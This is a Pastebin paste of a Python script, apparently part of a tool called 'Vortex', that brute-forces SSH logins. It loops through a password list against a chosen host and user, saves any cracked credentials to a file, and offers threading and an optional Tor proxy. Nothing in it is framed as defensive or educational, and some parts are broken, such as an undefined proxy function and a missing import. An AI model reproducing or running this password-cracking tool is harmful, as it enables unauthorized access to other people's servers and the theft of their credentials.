Guest User

Untitled

a guest
Jan 14th, 2018
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.28 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import subprocess
  3. import socket
  4. import time
  5. import os
  6. import platform
  7. import threading
  8. import pip
  9. try:
  10. import paramiko
  11. except:
  12. pip.main(['install', 'paramiko'])
  13. class c:
  14. r = "33[0;31m"
  15. g = "33[0;32m"
  16. o = "33[0;33m"
  17. b = "33[0;94m"
  18. p = "33[0;35m"
  19. w = "33[0;97m"
  20. d = "33[0;00m"
  21. rb = "33[01;31m"
  22. gb = "33[01;32m"
  23. ob = "33[01;33m"
  24. bb = "33[01;94m"
  25. pb = "33[0;35m"
  26. ssh = paramiko.SSHClient()
  27. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  28. help_menu = ("""
  29. set username:root | Set username of target
  30. set host:hostname | Set the host of target (eg: 1234-server.com or IP)
  31. set port:22 | Set the port of SSH server (Default 22)
  32. set pswList:passwords.lst | Set the password attemption list
  33. set threads:20 | Set the number of threads to use
  34. set proxy:true/false | Use proxy or not (must be running on 9050)
  35. clear | Clear the screen
  36. execute | Execute the script
  37. """)
  38. username = 'empty_value'
  39. host = 'empty_value'
  40. port = 22
  41. pswList = 'empty_value'
  42. threads = 0
  43. proxy = 'false'
  44. def attack(username,host,pswList,port):
  45. try:
  46. plist = open(pswList, 'r')
  47. passwords = sum(1 for line in open(pswList, 'r'))
  48. except:
  49. print(c.w+'['+c.rb+'ERROR'+c.w+']: Unable to open password list: {}'+c.d).format(pswList)
  50. try:
  51. exit(0)
  52. except:
  53. sys.exit(1)
  54. count = 1
  55. counter = 1.00
  56. username_ = username
  57. for psw in plist:
  58. calc = int(counter / passwords * 100)
  59. print(c.w+'['+c.b+'info'+c.w+']: Service: SSH | User: {} | Attempting key {} of {} -> {} | {}% done').format(username,count,passwords,psw.strip(),calc)
  60. try:
  61. ssh.connect(host,int(port),username=username_,password=psw.strip())
  62. print("n")
  63. print("Password: {}").format(psw.strip())
  64. f = open('cracked-passwords/password-cracked-ssh-'+username_, 'w+')
  65. f.write('Username: '+str(username_)+' Password: '+str(psw.strip())+' Host: '+str(host)+'n')
  66. f.close()
  67. ssh.close()
  68. break;
  69. except paramiko.AuthenticationException:
  70. pass
  71. except paramiko.ssh_exception.SSHException:
  72. pass
  73. except:
  74. raise
  75. count += 1
  76. counter += 1
  77.  
  78. while True:
  79. prompt = raw_input("Vortex:Password-Cracking:Services:SSH> ")
  80. if(prompt == 'help'):
  81. print(help_menu)
  82. elif(prompt == 'clear'):
  83. print('n' * 100)
  84. subprocess.call('clear', shell=True)
  85. elif(prompt == 'show options' or prompt == 'options'):
  86. print("username = {}").format(username)
  87. print("host = {}").format(host)
  88. print("port = {}").format(port)
  89. print("pswList = {}").format(pswList)
  90. print("threads = {}").format(threads)
  91. print("proxy = {}").format(proxy)
  92. elif(prompt == 'exit' or prompt == 'quit' or prompt == 'close'):
  93. print('n')
  94. try:
  95. exit(0)
  96. except:
  97. sys.exit(1)
  98. elif('set username:' in str(prompt)):
  99. username = str(prompt).split(':')[1]
  100. elif('set host:' in str(prompt)):
  101. host = str(prompt).split(':')[1]
  102. elif('set port:' in str(prompt)):
  103. port = int(str(prompt).split(':')[1])
  104. elif('set pswList:' in str(prompt)):
  105. pswList = str(prompt).split(':')[1]
  106. elif('set threads:' in str(prompt)):
  107. threads = int(str(prompt).split(':')[1])
  108. elif(prompt == 'execute'):
  109. if(username != 'empty_value' and host != 'empty_value' and pswList != 'empty_value'):
  110. if(threads == 0):
  111. if(proxy == 'true'):
  112. init_proxy()
  113. attack(username,host,pswList,port)
  114. else:
  115. attack(username,host,pswList,port)
  116. elif(threads != 0):
  117. if(proxy == 'true'):
  118. init_proxy()
  119. threads_array = []
  120. for i in range(threads):
  121. t = threading.Thread(target=attack, args=(username,host,pswList,port))
  122. t.setDaemon(True)
  123. t.start()
  124. threads_array.append(t)
  125. for t in threads_array:
  126. t.join()
Add Comment
Please, Sign In to add comment